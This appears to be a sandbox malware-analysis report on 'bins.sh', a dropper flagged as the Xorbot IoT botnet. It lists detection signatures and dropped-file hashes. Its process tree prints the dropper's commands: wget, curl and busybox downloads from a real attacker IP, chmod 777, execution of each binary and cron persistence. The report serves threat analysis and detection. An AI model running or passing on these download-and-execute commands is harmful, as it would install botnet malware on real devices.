Analysis

  • max time kernel
    96s
  • max time network
    151s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20250619-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20250619-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    11/09/2025, 03:11

General

  • Target
    bins.sh
  • Size 10KB
  • Sample250911-dppv3afl3t
  • SHA256 ef1e3e5b105212307dda1ef228a4494b446f70a40ceef1b1aa6096fba921894e
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • Detects Xorbot 7 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • File and Directory Permissions Modification 1 TTPs 10 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 10 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 30 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
    • Executes dropped EXE
    PID:712
    • /bin/rm
      /bin/rm bins.sh
      2⤵
        PID:716
      • /usr/bin/wget
        wget http://178.16.54.252/bins/oJTKEHHfjlBwhr0wKEKO1l56aUd3Uc30Ta
        2⤵
        • Writes file to tmp directory
        PID:718
      • /usr/bin/curl
        curl -O http://178.16.54.252/bins/oJTKEHHfjlBwhr0wKEKO1l56aUd3Uc30Ta
        2⤵
        • Writes file to tmp directory
        PID:739
      • /bin/busybox
        /bin/busybox wget http://178.16.54.252/bins/oJTKEHHfjlBwhr0wKEKO1l56aUd3Uc30Ta
        2⤵
        • Writes file to tmp directory
        PID:742
      • /bin/chmod
        chmod 777 oJTKEHHfjlBwhr0wKEKO1l56aUd3Uc30Ta
        2⤵
        • File and Directory Permissions Modification
        PID:743
      • /tmp/oJTKEHHfjlBwhr0wKEKO1l56aUd3Uc30Ta
        ./oJTKEHHfjlBwhr0wKEKO1l56aUd3Uc30Ta
        2⤵
          PID:744
        • /bin/rm
          rm oJTKEHHfjlBwhr0wKEKO1l56aUd3Uc30Ta
          2⤵
            PID:746
          • /usr/bin/wget
            wget http://178.16.54.252/bins/4XGHCy6I55FmWeuln2rkbJkKI0wL25demn
            2⤵
            • Writes file to tmp directory
            PID:747
          • /usr/bin/curl
            curl -O http://178.16.54.252/bins/4XGHCy6I55FmWeuln2rkbJkKI0wL25demn
            2⤵
            • Reads runtime system information
            • Writes file to tmp directory
            PID:748
          • /bin/busybox
            /bin/busybox wget http://178.16.54.252/bins/4XGHCy6I55FmWeuln2rkbJkKI0wL25demn
            2⤵
            • Writes file to tmp directory
            PID:749
          • /bin/chmod
            chmod 777 4XGHCy6I55FmWeuln2rkbJkKI0wL25demn
            2⤵
            • File and Directory Permissions Modification
            PID:754
          • /tmp/4XGHCy6I55FmWeuln2rkbJkKI0wL25demn
            ./4XGHCy6I55FmWeuln2rkbJkKI0wL25demn
            2⤵
              PID:755
            • /bin/rm
              rm 4XGHCy6I55FmWeuln2rkbJkKI0wL25demn
              2⤵
                PID:758
              • /usr/bin/wget
                wget http://178.16.54.252/bins/PLQ7PCXibcpS2frycRD6QZl8eAScLECbHi
                2⤵
                • Writes file to tmp directory
                PID:760
              • /usr/bin/curl
                curl -O http://178.16.54.252/bins/PLQ7PCXibcpS2frycRD6QZl8eAScLECbHi
                2⤵
                • Reads runtime system information
                • Writes file to tmp directory
                PID:769
              • /bin/busybox
                /bin/busybox wget http://178.16.54.252/bins/PLQ7PCXibcpS2frycRD6QZl8eAScLECbHi
                2⤵
                • Writes file to tmp directory
                PID:784
              • /bin/chmod
                chmod 777 PLQ7PCXibcpS2frycRD6QZl8eAScLECbHi
                2⤵
                • File and Directory Permissions Modification
                PID:789
              • /tmp/PLQ7PCXibcpS2frycRD6QZl8eAScLECbHi
                ./PLQ7PCXibcpS2frycRD6QZl8eAScLECbHi
                2⤵
                  PID:790
                • /bin/rm
                  rm PLQ7PCXibcpS2frycRD6QZl8eAScLECbHi
                  2⤵
                    PID:793
                  • /usr/bin/wget
                    wget http://178.16.54.252/bins/Q1GXpftsDNh8j5RHBALwbzquzAfVRRNnmK
                    2⤵
                    • Writes file to tmp directory
                    PID:795
                  • /usr/bin/curl
                    curl -O http://178.16.54.252/bins/Q1GXpftsDNh8j5RHBALwbzquzAfVRRNnmK
                    2⤵
                    • Writes file to tmp directory
                    PID:806
                  • /bin/busybox
                    /bin/busybox wget http://178.16.54.252/bins/Q1GXpftsDNh8j5RHBALwbzquzAfVRRNnmK
                    2⤵
                    • Writes file to tmp directory
                    PID:808
                  • /bin/chmod
                    chmod 777 Q1GXpftsDNh8j5RHBALwbzquzAfVRRNnmK
                    2⤵
                    • File and Directory Permissions Modification
                    PID:809
                  • /tmp/Q1GXpftsDNh8j5RHBALwbzquzAfVRRNnmK
                    ./Q1GXpftsDNh8j5RHBALwbzquzAfVRRNnmK
                    2⤵
                      PID:810
                    • /bin/rm
                      rm Q1GXpftsDNh8j5RHBALwbzquzAfVRRNnmK
                      2⤵
                        PID:812
                      • /usr/bin/wget
                        wget http://178.16.54.252/bins/ckZwvjP59ZlXcskBJtqL9spsbuJjQqIBDn
                        2⤵
                        • Writes file to tmp directory
                        PID:813
                      • /usr/bin/curl
                        curl -O http://178.16.54.252/bins/ckZwvjP59ZlXcskBJtqL9spsbuJjQqIBDn
                        2⤵
                        • Writes file to tmp directory
                        PID:814
                      • /bin/busybox
                        /bin/busybox wget http://178.16.54.252/bins/ckZwvjP59ZlXcskBJtqL9spsbuJjQqIBDn
                        2⤵
                        • Writes file to tmp directory
                        PID:820
                      • /bin/chmod
                        chmod 777 ckZwvjP59ZlXcskBJtqL9spsbuJjQqIBDn
                        2⤵
                        • File and Directory Permissions Modification
                        PID:826
                      • /tmp/ckZwvjP59ZlXcskBJtqL9spsbuJjQqIBDn
                        ./ckZwvjP59ZlXcskBJtqL9spsbuJjQqIBDn
                        2⤵
                          PID:827
                        • /bin/rm
                          rm ckZwvjP59ZlXcskBJtqL9spsbuJjQqIBDn
                          2⤵
                            PID:830
                          • /usr/bin/wget
                            wget http://178.16.54.252/bins/XUOY3utd54Hj6YIl6nxktPj1SOFZwo6GfF
                            2⤵
                            • Writes file to tmp directory
                            PID:832
                          • /usr/bin/curl
                            curl -O http://178.16.54.252/bins/XUOY3utd54Hj6YIl6nxktPj1SOFZwo6GfF
                            2⤵
                            • Writes file to tmp directory
                            PID:843
                          • /bin/busybox
                            /bin/busybox wget http://178.16.54.252/bins/XUOY3utd54Hj6YIl6nxktPj1SOFZwo6GfF
                            2⤵
                            • Writes file to tmp directory
                            PID:852
                          • /bin/chmod
                            chmod 777 XUOY3utd54Hj6YIl6nxktPj1SOFZwo6GfF
                            2⤵
                            • File and Directory Permissions Modification
                            PID:853
                          • /tmp/XUOY3utd54Hj6YIl6nxktPj1SOFZwo6GfF
                            ./XUOY3utd54Hj6YIl6nxktPj1SOFZwo6GfF
                            2⤵
                              PID:854
                            • /bin/rm
                              rm XUOY3utd54Hj6YIl6nxktPj1SOFZwo6GfF
                              2⤵
                                PID:856
                              • /usr/bin/wget
                                wget http://178.16.54.252/bins/4uAAowmz56sVlEbLLIVIWy4ly78olwO04N
                                2⤵
                                • Writes file to tmp directory
                                PID:857
                              • /usr/bin/curl
                                curl -O http://178.16.54.252/bins/4uAAowmz56sVlEbLLIVIWy4ly78olwO04N
                                2⤵
                                • Reads runtime system information
                                • Writes file to tmp directory
                                PID:858
                              • /bin/busybox
                                /bin/busybox wget http://178.16.54.252/bins/4uAAowmz56sVlEbLLIVIWy4ly78olwO04N
                                2⤵
                                • Writes file to tmp directory
                                PID:859
                              • /bin/chmod
                                chmod 777 4uAAowmz56sVlEbLLIVIWy4ly78olwO04N
                                2⤵
                                • File and Directory Permissions Modification
                                PID:860
                              • /tmp/4uAAowmz56sVlEbLLIVIWy4ly78olwO04N
                                ./4uAAowmz56sVlEbLLIVIWy4ly78olwO04N
                                2⤵
                                  PID:861
                                • /bin/rm
                                  rm 4uAAowmz56sVlEbLLIVIWy4ly78olwO04N
                                  2⤵
                                    PID:863
                                  • /usr/bin/wget
                                    wget http://178.16.54.252/bins/cas0L87cJdnIsypP1iWZkRGLVJgRdambBO
                                    2⤵
                                    • Writes file to tmp directory
                                    PID:864
                                  • /usr/bin/curl
                                    curl -O http://178.16.54.252/bins/cas0L87cJdnIsypP1iWZkRGLVJgRdambBO
                                    2⤵
                                    • Writes file to tmp directory
                                    PID:865
                                  • /bin/busybox
                                    /bin/busybox wget http://178.16.54.252/bins/cas0L87cJdnIsypP1iWZkRGLVJgRdambBO
                                    2⤵
                                    • Writes file to tmp directory
                                    PID:869
                                  • /bin/chmod
                                    chmod 777 cas0L87cJdnIsypP1iWZkRGLVJgRdambBO
                                    2⤵
                                    • File and Directory Permissions Modification
                                    PID:870
                                  • /tmp/cas0L87cJdnIsypP1iWZkRGLVJgRdambBO
                                    ./cas0L87cJdnIsypP1iWZkRGLVJgRdambBO
                                    2⤵
                                      PID:871
                                    • /bin/rm
                                      rm cas0L87cJdnIsypP1iWZkRGLVJgRdambBO
                                      2⤵
                                        PID:873
                                      • /usr/bin/wget
                                        wget http://178.16.54.252/bins/hF548IdWvT7kXeSrzgVUSM1GK9cqGKhi1O
                                        2⤵
                                        • Writes file to tmp directory
                                        PID:874
                                      • /usr/bin/curl
                                        curl -O http://178.16.54.252/bins/hF548IdWvT7kXeSrzgVUSM1GK9cqGKhi1O
                                        2⤵
                                        • Reads runtime system information
                                        • Writes file to tmp directory
                                        PID:875
                                      • /bin/busybox
                                        /bin/busybox wget http://178.16.54.252/bins/hF548IdWvT7kXeSrzgVUSM1GK9cqGKhi1O
                                        2⤵
                                        • Writes file to tmp directory
                                        PID:876
                                      • /bin/chmod
                                        chmod 777 hF548IdWvT7kXeSrzgVUSM1GK9cqGKhi1O
                                        2⤵
                                        • File and Directory Permissions Modification
                                        PID:877
                                      • /tmp/hF548IdWvT7kXeSrzgVUSM1GK9cqGKhi1O
                                        ./hF548IdWvT7kXeSrzgVUSM1GK9cqGKhi1O
                                        2⤵
                                          PID:878
                                        • /bin/rm
                                          rm hF548IdWvT7kXeSrzgVUSM1GK9cqGKhi1O
                                          2⤵
                                            PID:880
                                          • /usr/bin/wget
                                            wget http://178.16.54.252/bins/qkDks8sGdTnzN0jVEGiJ8c7YMrG1ojee0f
                                            2⤵
                                            • Writes file to tmp directory
                                            PID:881
                                          • /usr/bin/curl
                                            curl -O http://178.16.54.252/bins/qkDks8sGdTnzN0jVEGiJ8c7YMrG1ojee0f
                                            2⤵
                                            • Reads runtime system information
                                            • Writes file to tmp directory
                                            PID:882
                                          • /bin/busybox
                                            /bin/busybox wget http://178.16.54.252/bins/qkDks8sGdTnzN0jVEGiJ8c7YMrG1ojee0f
                                            2⤵
                                            • Writes file to tmp directory
                                            PID:883
                                          • /bin/chmod
                                            chmod 777 qkDks8sGdTnzN0jVEGiJ8c7YMrG1ojee0f
                                            2⤵
                                            • File and Directory Permissions Modification
                                            PID:884
                                          • /tmp/qkDks8sGdTnzN0jVEGiJ8c7YMrG1ojee0f
                                            ./qkDks8sGdTnzN0jVEGiJ8c7YMrG1ojee0f
                                            2⤵
                                            • Renames itself
                                            • Reads runtime system information
                                            PID:885
                                            • /bin/sh
                                              sh -c "crontab -l"
                                              3⤵
                                                PID:887
                                                • /usr/bin/crontab
                                                  crontab -l
                                                  4⤵
                                                    PID:888
                                                • /bin/sh
                                                  sh -c "crontab -"
                                                  3⤵
                                                    PID:889
                                                    • /usr/bin/crontab
                                                      crontab -
                                                      4⤵
                                                      • Creates/modifies Cron job
                                                      • Reads runtime system information
                                                      PID:890
                                                • /bin/rm
                                                  rm qkDks8sGdTnzN0jVEGiJ8c7YMrG1ojee0f
                                                  2⤵
                                                    PID:892
                                                  • /usr/bin/wget
                                                    wget http://178.16.54.252/bins/7FBbZu4AgmUNminQr0vgKdOXJusNNuOZAv
                                                    2⤵
                                                      PID:895

                                                  Network

                                                        MITRE ATT&CK Enterprise v16

                                                        Replay Monitor

                                                        Loading Replay Monitor...

                                                        Downloads

                                                        4XGHCy6I55FmWeuln2rkbJkKI0wL25demn

                                                        • Path /tmp/4XGHCy6I55FmWeuln2rkbJkKI0wL25demn
                                                        • Size 178KB
                                                        • SHA256 9c683b0be86d4cd274a7a16073bdf092218f259b055a72f848d589574e9b8084
                                                        • MD5 SHA1 SHA512 SSDEEP

                                                        4uAAowmz56sVlEbLLIVIWy4ly78olwO04N

                                                        • Path /tmp/4uAAowmz56sVlEbLLIVIWy4ly78olwO04N
                                                        • Size 141KB
                                                        • SHA256 87f11a3ee2486bc4845a28465c2e70d2d9f98725edf4a73c3359c23a43ed74b7
                                                        • MD5 SHA1 SHA512 SSDEEP

                                                        PLQ7PCXibcpS2frycRD6QZl8eAScLECbHi

                                                        • Path /tmp/PLQ7PCXibcpS2frycRD6QZl8eAScLECbHi
                                                        • Size 120KB
                                                        • SHA256 620f6949b82f9ef987b7511fbbb09c2da57d8be47b019fa6a9686ce08b4c3e70
                                                        • MD5 SHA1 SHA512 SSDEEP

                                                        Q1GXpftsDNh8j5RHBALwbzquzAfVRRNnmK

                                                        • Path /tmp/Q1GXpftsDNh8j5RHBALwbzquzAfVRRNnmK
                                                        • Size 127KB
                                                        • SHA256 dfd830368724f6abcc542bc8b85e3d5fa2aedf8282d3805d0d6d53f45c7e0937
                                                        • MD5 SHA1 SHA512 SSDEEP

                                                        XUOY3utd54Hj6YIl6nxktPj1SOFZwo6GfF

                                                        • Path /tmp/XUOY3utd54Hj6YIl6nxktPj1SOFZwo6GfF
                                                        • Size 113KB
                                                        • SHA256 de5fb68023465cb5d8ace412e11032d98a41bd6af2a83245c046020530130496
                                                        • MD5 SHA1 SHA512 SSDEEP

                                                        cas0L87cJdnIsypP1iWZkRGLVJgRdambBO

                                                        • Path /tmp/cas0L87cJdnIsypP1iWZkRGLVJgRdambBO
                                                        • Size 152KB
                                                        • SHA256 f39b67fff1f106fb1b4fa9beb386427c8e7eb010f306ad0445da70bffc855f2e
                                                        • MD5 SHA1 SHA512 SSDEEP

                                                        ckZwvjP59ZlXcskBJtqL9spsbuJjQqIBDn

                                                        • Path /tmp/ckZwvjP59ZlXcskBJtqL9spsbuJjQqIBDn
                                                        • Size 118KB
                                                        • SHA256 85758df12964024af3ae829e3630f9ad5de7c55dae00181198033da8816e3293
                                                        • MD5 SHA1 SHA512 SSDEEP

                                                        hF548IdWvT7kXeSrzgVUSM1GK9cqGKhi1O

                                                        • Path /tmp/hF548IdWvT7kXeSrzgVUSM1GK9cqGKhi1O
                                                        • Size 114KB
                                                        • SHA256 4190491b9006404cab256d66125bd77b1c3a0e63451fbb3d829617d7e87acc9b
                                                        • MD5 SHA1 SHA512 SSDEEP

                                                        oJTKEHHfjlBwhr0wKEKO1l56aUd3Uc30Ta

                                                        • Path /tmp/oJTKEHHfjlBwhr0wKEKO1l56aUd3Uc30Ta
                                                        • Size 98KB
                                                        • SHA256 8340ff8920412a70f0c29cdf72f6f218e61142b3f210e70e24811c413971a8ed
                                                        • MD5 SHA1 SHA512 SSDEEP

                                                        qkDks8sGdTnzN0jVEGiJ8c7YMrG1ojee0f

                                                        • Path /tmp/qkDks8sGdTnzN0jVEGiJ8c7YMrG1ojee0f
                                                        • Size 152KB
                                                        • SHA256 d8018e31b77b135ed300a988757f409347d013b76f9c9a4972e48cb715f45967
                                                        • MD5 SHA1 SHA512 SSDEEP

                                                        tmp.Y3gI0j

                                                        • Path /var/spool/cron/crontabs/tmp.Y3gI0j
                                                        • Size 210B
                                                        • SHA256 1b7bb8fecc97ccc1dae383735b20330704bce6a621ea5e85e1eebd4d11a1a89b
                                                        • MD5 SHA1 SHA512